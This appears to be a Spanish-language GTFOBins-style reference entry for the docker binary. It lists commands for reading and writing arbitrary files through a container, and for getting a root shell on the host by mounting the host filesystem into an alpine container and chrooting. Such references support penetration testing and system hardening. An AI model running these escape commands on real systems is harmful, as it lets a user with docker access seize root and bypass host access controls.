Nota
This requires the user to be privileged enough to run `docker`, e.g., being in the `docker` group or being `root`.
./docker --examples
Funciones y ejemplos de uso
file-read
docker cp /path/to/input-file $CONTAINER_ID:input-file
docker cp $CONTAINER_ID:input-file /path/to/temp-file
cat /path/to/temp-file
file-write
echo DATA >/path/to/temp-file
docker cp /path/to/temp-file $CONTAINER_ID:temp-file
docker cp $CONTAINER_ID /path/to/output-file
shell
docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh
docker run --rm -it --privileged -u root alpine
mount /dev/sda1 /mnt/
ls -la /mnt/
chroot /mnt /bin/bash
./related --binary=docker
Binarios relacionados
Comparten al menos una función con docker.